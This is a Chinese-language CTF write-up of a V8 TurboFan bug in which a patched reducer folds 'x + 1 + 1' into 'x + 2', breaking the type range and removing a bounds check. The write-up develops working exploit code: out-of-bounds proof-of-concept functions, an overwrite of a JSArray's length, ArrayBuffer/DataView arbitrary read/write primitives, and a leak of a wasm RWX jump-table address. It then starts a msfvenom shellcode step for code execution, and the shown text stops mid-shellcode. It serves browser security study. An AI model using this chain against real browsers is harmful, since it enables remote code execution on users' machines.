> 为什么要设置`v8_untrusted_code_mitigations =
> false`，请查看上面关于`SimplifiedLoweringPhase`中checkbounds优化的简单讲解。
>
> 这里可能是因为出题者忘记给出v8的编译参数了，否则默认的编译参数将 **无法利用漏洞** 。
### 3\. 漏洞成因
* 新打的patch将在turboFan中的`TypedLoweringPhase`中添加了一种优化方式。
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange();
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node);
}
该优化方式将优化诸如`x + 1 + 2`这类的表达式为`x + 3`，即以下的Case4：
* 但是，还记得我们之前所提到的，NumberConstant的内部实现使用的是`double`类型。这就意味着这样的优化可能存在精度丢失。举个例子：即，`x + 1 + 1`不一定会等于`x + 2`！所以这种优化是存在问题的。
* 这是为什么呢？原因是浮点数的IEEE764标准。当一个浮点数越来越大时，有限的空间只能保留高位的数据，因此一旦浮点数的值超过某个界限时，低位数值将被舍弃，此时数值不能全部表示，存在精度丢失。而这个界限正是 $2^{53}-1 = 9007199254740991$，即上图中的`MAX_sAFE_INTEGER`。
// 以下是double结构的9007199254740991值，可以看到正好是double结构所能存放的最大整数。
+------+--------------+------------------------------------------------------+
| sign | exponent | fraction |
+------+--------------+------------------------------------------------------+
| 0 | 00000000001 | 1111111111111111111111111111111111111111111111111111 |
+------+--------------+------------------------------------------------------+
* 由于`x + 1 + 1 <= x + 2`，因此某个`NumberAdd`结点的`Type`，也就是 **其Range将会小于该结点本身的值** 。例如
* `9007199254740992` 连续两次 **+1** 后，由于精度丢失，导致最后一个`NumberAdd`结点的Type为`Range(9007199254740992,9007199254740992)`。
* 但由于执行了patch中的优化，导致最后一个加法操作实际的结果为`9007199254740994`，大于Range的最大值。
* 因此，如果使用这个结果值来访问数组的话，可能存在越界读写的问题，因为若预期index小于length的最小范围时，checkBounds结点将会被优化，此时比 **预期index** 范围更大的 **实际index** 很有可能成功越界。
### 4\. 漏洞利用
#### a. OOB
##### 1) 构造POC
* 我们先试一下POC
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
// 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
t = t + 1 + 1;
/* 此时 t =>
解释：Range(9007199254740991, 9007199254740992)
编译：Range(9007199254740991, 9007199254740994)
*/
t -= 9007199254740989;
/* 此时 t =>
解释：Range(2, 3)
编译：Range(2, 5)
*/
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
Type后的结果如下，可以看到checkbounds的检查可以通过：
因此该checkbounds将在`SimplifiedLoweringPhase`中被优化：
输出的结果如下：
> 注：输出结果中的`DuplicateAdditionReducer::ReduceAddition
> Called/Success`，是打patch后的输出内容，在原v8中没有该输出。
可以看到，成功将两个+1操作优化为+2，并在最末尾处成功 **越界读取** 到一个数组外的元素。
* 这里需要说一下构建poc可能存在的问题：
* POC1： **无 if 分支**
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
// 这里没有使用上面if xxx这样的语句，直接一个整数赋值
// let t = Number.MAX_SAFE_INTEGER + 1;
let t = 9007199254740992;
t = t + 1 + 1;
t -= 9007199254740989;
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
**问题点**
：由于函数中常数与常数相加减，因此在执行`TypedLoweringPhase`中的`ConstantFoldingReducer`时，三个算数表达式会直接优化为一个常数，这样就没办法执行`DuplicateAdditionReducer`。
**解决方法** ：使用一个`if`分支，这样就可以通过`phi`结点来间接设置`Range`。
> 以下是一些玄学问题。
* POC2： **使用`Number.MAX_SAFE_INTEGER`**
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
: Number.MAX_SAFE_INTEGER - 2);
t = t + 1 + 1;
t -= (Number.MAX_SAFE_INTEGER - 2);
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
**问题点** ：在`GraphBuilderPhase`中，type
feedback推测目标函数的参数只会为`1`，因此turboFan推测函数中的条件判断式 **“恒”成立**
，故在`InliningPhase`中优化`merge`结点，使得变量`t`始终为一个常数。
之后就执行`TypedLoweringPhase`中的`ConstantFoldingReducer`再次将其优化为一个常数，以至于无法执行`DuplicateAdditionReducer`优化。
通过turbolizer我们可以看出，若判断条件为真，则将优化好的结果输出；若判断条件为假，则说明type feedback出现错误，需要执行deopt。
> 至于为什么先前的poc不会优化merge结点，而当前这个poc会优化merge结点，
>
> 这个问题仍然需要进一步探索。
**解决方法** ：
1. 不同时在 if 语句的两个分支处使用`Number.MAX_SAFE_INTEGER`
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
// 修改了此处
: 9007199254740989);
t = t + 1 + 1;
t -= (Number.MAX_SAFE_INTEGER - 2);
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
2. 在执行`%OptimizeFunctionOnNextCall`前，使函数调用传入的参数 **不单一** :
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1
: Number.MAX_SAFE_INTEGER - 2);
t = t + 1 + 1;
t -= (Number.MAX_SAFE_INTEGER - 2);
return arr[t];
}
console.log(f(1));
console.log(f(0)); // 添加了此行
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
* POC3： **不使用`let/var/const`修饰词**
function f(x)
{
// 错误：arr前没有let、var或者const
arr = [1.1, 2.2, 3.3, 4.4, 5.5];
// 错误：t 前没有let
t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740989;
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
**问题点**
：经过gdb动态调试可知，若数组前没有修饰词，则`CheckBounds`的上一个结点`LoadField`结点将不会被`LoadEliminationPhase`优化，这样使得数组`length`结点的范围最大值为134217726，最后导致无法成功优化`CheckBounds`结点：
同时，若变量`t`前没有修饰词，则越界的`add`操作将被`check`出，进而设置值为`inf/NaN`，之后的减法就无法计算出我们所期望的Range值：
**解决方法** ：添加修饰词。
> 为什么修饰词会影响到结点的建立等等？这其中的内容同样也需要进一步的探索。
* POC4：使用 **整数数组**
function f(x)
{
const arr = [1, 2, 3, 4, 5];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740989;
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
**问题点** ：执行`console.log`时崩溃：
**解决方法** ：更改数组类型。经过一番测试，发现貌似只能改成 **浮点数数组** ，改成其他类型的输出都会 **崩溃** 。
* 小结：构造POC需要重复多次 **修改代码 = > 观察输出 => 从turbolizer中查看结点图 => 分析错误原因** 这个过程，有时还需要给源码打patch和上gdb调试，需要耐心。
* 构造POC时，只需要关注两个重点：
1. 能否成功执行`DuplicateAdditionReducer`优化
2. 能否成功优化`CheckBounds`结点。
如果这两个条件都满足，那基本上构建出的POC可以OOB了。
##### 2) 越界读取
POC有了，那我们试着看一下越界读取到的内存位置，
不出以外的话应该是最后一个元素`5.5`的下一个8位数据：
function f(x)
{
let arr = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? 9007199254740992 : 9007199254740989) + 1 + 1;
t -= 9007199254740989;
console.log(arr[t]);
// 将arr数组详细信息输出
%DebugPrint(arr);
}
f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
// 下断点，使v8在gdb中暂停
%SystemBreak();
启动GDB，可以看到 d8 自动暂停执行：
之后我们可以找到DebugPrint出的数组内存地址：
每个Object内部都有一个map，该map用于描述对应结构的相关属性。其中包括了当前Object的实例大小，以及一些供GC使用的信息。通过上面的输出，我们可以得到，当前JSArray的实例大小只有32字节。
> map的具体信息请查阅源码 src/objects/map.h 中的注释。
因此，数组中的其他元素肯定存放于另一个数组，而这个数组的类型为`FixedDoubleArray`，其地址存放于JSArray中。
> 需要注意的是：v8 中的指针值大多被打上了tag，以便于区分某个值是pointer还是smi。
>
> 因此在gdb使用某个地址时，最低位需要手动置0。
以下是某个 JSArray 的内存布局：
注意到
JSArray中，第四个8字节数据（即上图中的`0x0000000500000000`）存放的是当前数组的length（5），即便数组元素并没有存放在当前这块内存上。
// v8/src/objects/js-array.h
// static const int v8::internal::JSObject::kHeaderSize = 24
static const int kLengthOffset = JSObject::kHeaderSize;
回到刚刚的话题，数组的值被存放在`FixedDoubleArray`中，因此我们输出一下内存布局看看：
可以看到，它越界读取到的数据与先前猜测的一致，即最后一个元素的下一个8字节数据。
同时我们还可以从 gdb 的输出中注意到，一个 JSArray的length 即在 JSArray 中保存，又在 FixedDoubleArray
中存放着，这个也可以在源码中直接定位到操作：
// v8/src/objects/js-array-inl.h
void JSArray::SetContent(Handle<JSArray> array,
Handle<FixedArrayBase> storage) {
EnsureCanContainElements(array, storage, storage->length(),
ALLOW_COPIED_DOUBLE_ELEMENTS);
DCHECK(
(storage->map() == array->GetReadOnlyRoots().fixed_double_array_map() &&
IsDoubleElementsKind(array->GetElementsKind())) ||
((storage->map() != array->GetReadOnlyRoots().fixed_double_array_map()) &&
(IsObjectElementsKind(array->GetElementsKind()) ||
(IsSmiElementsKind(array->GetElementsKind()) &&
Handle<FixedArray>::cast(storage)->ContainsOnlySmisOrHoles()))));
// length既保存在 JSArray 中，也保存在 FixedArrayBase里
array->set_elements(*storage);
array->set_length(Smi::FromInt(storage->length()));
}
但实际上， FixedDoubleArray 中的 length 只用于提供有关固定数组分配的信息，而越界检查只会检查 JSArray
的length，这意味着我们 **必须修改 JSArray 的 length 才可以进行任意地址读写** 。
> 以下是检测数组访问是否越界的代码：
// v8/src/ic/ic.cc
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
uint32_t length = 0;
if (receiver->IsJSArray()) {
// 获取 JSArray 的 length
JSArray::cast(*receiver)->length()->ToArrayLength(&length);
} else if (receiver->IsString()) {
length = String::cast(*receiver)->length();
} else if (receiver->IsJSObject()) {
length = JSObject::cast(*receiver)->elements()->length();
} else {
return false;
}
// 判断是否越界
return index >= length;
}
KeyedAccessLoadMode GetLoadMode(Isolate* isolate, Handle<Object> receiver,
uint32_t index) {
// 一开始就判断越界
if (IsOutOfBoundsAccess(receiver, index)) {
// ...
}
return STANDARD_LOAD;
}
/*
函数调用栈帧：
#0 v8::internal::(anonymous namespace)::IsOutOfBoundsAccess
#1 v8::internal::(anonymous namespace)::GetLoadMode
#2 v8::internal::KeyedLoadIC::Load
#3 v8::internal::__RT_impl_Runtime_KeyedLoadIC_Miss
#4 v8::internal::Runtime_KeyedLoadIC_Miss
#5 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit
....
*/
为了验证上述内容的正确性，笔者手动用gdb修改了 JSArray 的 length，发现在 release 版本的v8下 **可以越界读取** 。但在
debug 版本下，会触发`FixedArray`中的`DCHECK`检查导致崩溃：
// v8/src/objects/fixed-array-inl.h
DCHECK(index >= 0 && index < this->length());
因此在编译 debug 版本的 v8 时，需要手动注释掉`src/objects/fixed-array-inl.h` 中越界检查的DCHECK
> 请勿直接编译 release 版本的v8来关闭DCHECK，这会大大提高调试难度。
#### b. 构造任意地址读写
##### 1) JSArray 修改 length
* 我们将 FixedArray 的内存布局输出，可以发现 JSArray 和 FixedArray 的数据是 **紧紧相邻** 的，且 FixedArray 位于低地址处，这为我们修改 JSArray 的 length 提供了一个非常好的条件：
* 现在我们可以试着越界修改一下 JSArray 的 length。需要注意我们必须越界四格才能修改到length，因此需要稍微修改一下POC越界的范围：
function f(x)
{
let arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; // length => Range(7, 7)
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
// 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
t = t + 1 + 1;
/* 此时 t =>
解释：Range(9007199254740991, 9007199254740992)
编译：Range(9007199254740991, 9007199254740994)
*/
t -= 9007199254740990;
/* 此时 t =>
解释：Range(1, 2)
编译：Range(1, 4)
*/
t *= 2;
/* 此时 t =>
解释：Range(2, 4)
编译：Range(2, 8)
*/
t += 2;
/* 此时 t =>
解释：Range(4, 6)
编译：Range(4, 10)
*/
console.log(arr[t]);
%DebugPrint(arr);
}
f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
%SystemBreak();
最后输出了`1.4853970537e-313`，用gdb转换成int类型，刚好为`7`，这就意味着我们现在可以修改 JSArray 的 length 了。
试一试：
var oob_arr = [];
function opt_me(x)
{
oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740990;
t *= 2;
t += 2;
// 将 smi(1024) 写入至 JSArray 的 length处
oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 尝试优化
for(let i = 0; i < 0x10000; i++)
opt_me(1);
// 试着越界读取一下
console.log(oob_arr.length);
console.log(oob_arr[100]);
%SystemBreak();
可以发现， **越界读写成功** ！
在附件chromium中试试发现也是可以正常工作的：
但我们发现 v8 和 chromium 输出的值不一样，所以调试 d8 编写 JS 后还需要到 chromium 这边验证一下。
>
> 这里有个注意点，在被turboFan优化过的函数中读写数组，其越界判断不会通过我们所熟知的`Runtime_KeyedLoadIC_Miss`函数，因此越界操作最好在被优化的函数外部执行。
* 现在我们已经成功让 JSArray 实现大范围 **向后** 越界读取，但这明显不够，因为 JSArray 只能 **向后** 越界读写 `0x40000000`字节，有范围限制。
// v8/src/objects/fixed-array.h
#ifdef V8_HOST_ARCH_32_BIT
static const int kMaxSize = 512 * MB;
#else
static const int kMaxSize = 1024 * MB;
#endif // V8_HOST_ARCH_32_BIT
看样子我们可以再次声明一个 JSArray ，然后越界修改其 elements 地址以达到任意地址读写的目的？实际上是不行的，因为每一个 element
都有其对应的 map 指针，如果我们要通过修改 elements 地址来进行任意读的话，我们还必须在目标地址手动伪造一个 fake
map，但通常我们是没有办法来伪造的。
因此接下来我们将引入漏洞利用中比较常用的类型： **ArrayBuffer** 。
##### 2) ArrayBuffer
* `ArrayBuffer`是漏洞利用中比较常见的一个对象，这个对象用于表示通用的、固定长度的原始二进制数据缓冲区。通常我们不能直接操作`ArrayBuffer`的内容，而是要通过类型数组对象（JSTypedArray）或者`DataView`对象来操作，它们会将缓冲区中的数据表示为特定的格式，并且通过这些格式来读写缓冲区的内容。
而 ArrayBuffer中的缓冲区内存，就是 v8 中 JSArrayBuffer 对象中的 **backing_store** 。
* 需要注意的是，ArrayBuffer 自身也有 element。这个 element 和 backing_store **不是同一个东西** ：element 是一个 JSObject，而 backing_store 只是单单一块堆内存。 因此，单单修改 element 或 backing_store 里的数据都不会影响到另一个位置的数据。以下是一个简单的 JS 测试代码：
buffer = new ArrayBuffer(0x400);
int = new Int32Array(buffer);
int[2] = 1024;
buffer[1] = 0x200;
%DebugPrint(buffer);
%SystemBreak();
浏览器中输出的结果：
gdb中输出的地址信息：
* 我们可以很容易的推测出，那些 **JSTypedArray 读写的都是 ArrayBuffer 的 backing_store** ，因此如果我们可以任意修改 ArrayBuffer 的 backing_store，那么就可以通过 JSTypedArray 进行任意地址读写。
> JSTypedArray 包括但不限于 DataView、Int32Array、Int64Array、Float32Array、Float64Array
> 等等。
笔者将在下面使用`DataView`对象来对 ArrayBuffer 的 backing_store 进行读写。为了证明 DataView 修改的确实是
ArrayBuffer 中 backing_store 指向的那块堆内存，笔者找到其对应的代码：
> 注：以下代码来自`v8/src/builtins/data-view.tq`，代码语言为V8
> `Torque`。该语言的语法类似于`TypeScript`，其设计目的在于更方便的表示高级的、语义丰富的V8实现。Torque编译器使用CodeStubAssembler将这些片断转换为高效的汇编代码。
>
> 更多关于该语言的信息请查阅 [V8 Torque user manual](https://v8.dev/docs/torque)。
// v8/src/builtins/data-view.tq
javascript builtin DataViewPrototypeSetFloat64(
context: Context, receiver: Object, ...arguments): Object {
let offset: Object = arguments.length > 0 ?
arguments[0] :
Undefined;
let value : Object = arguments.length > 1 ?
arguments[1] :
Undefined;
let is_little_endian : Object = arguments.length > 2 ?
arguments[2] :
Undefined;
// 在越界检查完成后，继续调用 DataViewSet函数。
return DataViewSet(context, receiver, offset, value,
is_little_endian, FLOAT64_ELEMENTS);
}
macro DataViewSet(context: Context,
receiver: Object,
offset: Object,
value: Object,
requested_little_endian: Object,
kind: constexpr ElementsKind): Object {
// 获取当前 DataView 类型
let data_view: JSDataView = ValidateDataView(
context, receiver, MakeDataViewSetterNameString(kind));
// ...
let littleEndian: bool = ToBoolean(requested_little_endian);
// 获取当前 DataView 中的 Buffer，即对应的 ArrayBuffer
let buffer: JSArrayBuffer = data_view.buffer;
// ...
else {
let double_value: float64 = ChangeNumberToFloat64(num_value);
if constexpr (kind == UINT8_ELEMENTS || kind == INT8_ELEMENTS) {
// ...
}
// ...
else if constexpr (kind == FLOAT64_ELEMENTS) {
// 将一个64位值分解成两个32位值并写入Buffer.
let low_word: uint32 = Float64ExtractLowWord32(double_value);
let high_word: uint32 = Float64ExtractHighWord32(double_value);
StoreDataView64(buffer, bufferIndex, low_word, high_word,
littleEndian);
}
}
return Undefined;
}
macro StoreDataView64(buffer: JSArrayBuffer, offset: intptr,
low_word: uint32, high_word: uint32,
requested_little_endian: bool) {
// 获取写入的内存地址，这里取的是 ArrayBuffer 中的 backing_store
// 可以看到这个结果与我们的预计是一致的。
let data_pointer: RawPtr = buffer.backing_store;
// ...
if (requested_little_endian) {
// 将值写入 backing_store。
StoreWord8(data_pointer, offset, b0);
StoreWord8(data_pointer, offset + 1, b1);
StoreWord8(data_pointer, offset + 2, b2);
StoreWord8(data_pointer, offset + 3, b3);
StoreWord8(data_pointer, offset + 4, b4);
StoreWord8(data_pointer, offset + 5, b5);
StoreWord8(data_pointer, offset + 6, b6);
StoreWord8(data_pointer, offset + 7, b7);
} else {
// ...
}
}
* 因此，现在我们可以试着构建任意地址读写原语
##### 3) 任意地址读写原语
* 根据上面的分析，我们可以梳理一条这样的过程来构造任意地址读写原语：
* 通过 OOB 修改其自身 JSArray 的 length，从而达到大范围越界读写。
* 试着 **将 ArrayBuffer 分配到与 OOB 的 JSArray 相同的内存段上** ，这样就可以通过 OOB 来修改 ArrayBuffer 的 backing_store。
* 将 ArrayBuffer 与 DataView 对象关联，这样就可以在 JSArray 越界修改 ArrayBuffer 的 backing_store 后，通过DataView 对象读写目标内存。
* 需要注意的是，在确定 FixedDoubleArray 与 backing_store 之前的相对偏移时，最好不要使用 **硬编码** 。因为如果需要在当前内存段上再新建立一个对象时，原先的相对偏移很有可能会失效；而且不使用硬编码也可以 **更好的将 exp 从 v8 移植到 chromium上** 。但不使用硬编码时，使用 for循环结果语句 来 **循环越界读取数组** 将会触发一个`CSA_ASSERT`：
// v8/src/code-stub-assembler.cc
// in TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement
CSA_ASSERT(this, IsOffsetInBounds(
offset, LoadAndUntagFixedArrayBaseLength(object),
FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));
由于`CSA_ASSERT`只会在Debug版本下的 v8 生效，因此我们同样可以注释掉该语句再重新编译，不影响 chromium 中 exp 的编写。
* 综上所述，最后构造出的 **任意地址读写原语** 如下：
function log(msg)
{
console.log(msg);
// var elem = document.getElementById("#log");
// elem.innerText += '[+] ' + msg + '\n';
}
/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/
var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
bigIntArray[0] = BigInt(int);
return floatArray[0];
}
function Float64ToInt64(float)
{
floatArray[0] = float;
return bigIntArray[0];
}
/******* -- 修改JSArray length 的操作 -- *******/
var oob_arr = [];
function opt_me(x)
{
oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740990;
t *= 2;
t += 2;
oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 试着触发 turboFan，从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
opt_me(1);
// 简单 checker
if(oob_arr[1023] == undefined)
throw "OOB Fail!";
else
log("[+] oob_arr.length == " + oob_arr.length);
/******* -- 任意地址读写原语 -- *******/
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;
// 确定backing_store_offset
for(let i = 0; i < 0x400; i++)
{
// smi(0x233) == 0x0000023300000000
if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
{
backing_store_offset = i + 1;
break;
}
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
throw "backing_store is not found!";
else
log("[+] backing_store offset: " + backing_store_offset);
function read_8bytes(addr)
{
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
return data_view.getBigInt64(0, true); // true 设置小端序
}
function write_8bytes(addr, data)
{
oob_arr[backing_store_offset] = Int64ToFloat64(addr);
data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
}
/******* -- try arbitrary read/write -- *******/
// 试着读取地址为 0xdeaddead 的内存
read_8bytes(0xdeaddead);
// 试着写入地址为 0xdeaddead 的内存
write_8bytes(0xdeaddead, 0x89abcdef);
测试结果如下：
> 注：单次只能测试任意读或任意写，不能同时测试。
* 可以将目标数据写入目标地址：
* 可以从目标地址中读出数据
#### c. 泄露 RWX 地址
* 由于 v8 已经[取消](https://source.chromium.org/chromium/v8/v8.git/+/dde25872f58951bb0148cf43d6a504ab2f280485:src/flag-definitions.h;l=717)将 **JIT 编码的 JSFunction** 放入 RWX 内存中 ，因此我们必须另找它法。根据所搜索到的利用方式，有以下两种：
1. 将 Array 的 JSFunction 写入内存并泄露，之后就可以进一步泄露 JSFunction 中的 code 指针。由于这个Code指针指向 chromium 二进制文件内部，因此我们可以将二进制文件拖入 IDA 中计算相对位移，获取 **代码基地址 = > GOT表条目 => libc基地址 => enviroment指针**，这样就可以获取到可写的栈地址以及`mprotect`地址。然后将 shellcode 写入栈里并 ROP 调用 mprotect 修改执行权限，最后跳转执行，这样就可以成功执行 shellcode。
> 此方法来自 Sakura 师傅，第四条参考链接。
2. v8 除了编译 JS 以外还编译 WebAssembly （wasm）代码，而 wasm 模块至今仍然[使用](https://source.chromium.org/chromium/chromium/src/+/1bc5adc2c0e057fb0fb91afa0c534dada924f90e:v8/src/flags/flag-definitions.h;l=790) RWX 内存，因此我们可以试着将 shellcode 写入这块内存中并执行，不过这个方法有点折腾。
> 此方法来自 doar-e，第一条参考链接。
第一种利用方式非常的直接，利用起来应该没有太大的难度。因此出于学习的目的，我们选择第二种方式，学习一下 WebAssembly 的利用方式。
* 通过查阅这片文章 [浅谈如何逆向分析WebAssembly二进制文件 – 安全客](https://www.anquanke.com/post/id/150923)，我们可以获取到wasm的简易使用方式，并通过这个方式获取到 Wasm 的 JSFunction：
// C++ 代码 `void func() {}` 的 wasm 二进制代码
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11]);
let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
* 而对于一个 Wasm 的 JSFunction，我们可以通过以下路径来获取 RWX 段地址：
> 这条路径稍微有点长：JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData ->
> WasmInstanceObject -> JumpTableStart。
* 从 JSFunction 出发，获取其 SharedFunctionInfo（相对偏移为 0x18）
* 之后从 SharedFunctionInfo 获取其 WasmExportedFunctionData（相对偏移为 0x8）
* 再从 WasmExportedFunctionData 中获取 WasmInstanceObject（相对偏移为 0x10）
* 最后从 WasmInstanceObject 中获取 JumpTableStart（相对偏移为 0xe8）
* 查看获取到的 JumpTableStart 位置处的数据，我们可以发现这里是一串汇编代码。给该位置下断，并在 JS 中执行一下 Wasm 的 JSFunction ，我们可以发现控制流被断点成功捕获：以下是测试用的 JS 代码：
// C++ 代码 `void func() {}` 的 wasm 二进制代码
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
0,1,130,128,128,128,0,0,11]);
let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 输出一下 Wasm JSFunction 地址，并获取其 JumpTableStart
%DebugPrint(WasmJSFunction);
// 之后在 gdb 中给 JumpTableStart 下个断点
%SystemBreak();
// 尝试执行 Wasm JSFunction
WasmJSFunction();
%SystemBreak();
* 现在情况已经非常明了了，通过之前构建的任意地址读取原语，一步步读取 Wasm JSFunction 的各个属性并最终获取 RWX 内存地址：
function prettyHex(bigint)
{
return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}
// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;
for(let i = 0; i < 0x4000; i++)
{
// 查找哨兵值
if(Float64ToInt64(oob_arr[i]) == 0x233333)
{
WasmJSFunctionIndex = i + 1;
break;
}
}
// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
throw "WasmJSFunctionAddr is not found!";
else
log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);
// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));
// 获取 WasmInstanceObject 地址
WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);
log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));
// 获取 JumpTableStart 地址
JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));
log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));
需要注意的是，在读取`WasmExportedFunctionDataAddr`时会触发 debug 的越界检查：
// v8/src/code-stub-assembler.cc
// in CodeStubAssembler::FixedArrayBoundsCheck
CSA_CHECK(this, UintPtrLessThan(effective_index,
LoadAndUntagFixedArrayBaseLength(array)));
注释掉再重新编译即可。
#### d. shellcode
最后我们只要将 shellcode 写入该 RWX 地址处并调用 Wasm JSFunction 即可成功执行 shellcode。
使用 msfvenom 生成满足以下条件的 shellcode:
* payload为 `linux x64`
* 格式为 C语言
* 命令为`DISPLAY=:0 gnome-calculator`
msfvenom -p linux/x64/exec CMD='DISPLAY=:0 gnome-calculator' -f c
输出如下：
Payload size: 67 bytes
Final size of c file: 307 bytes
unsigned char buf[] =
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
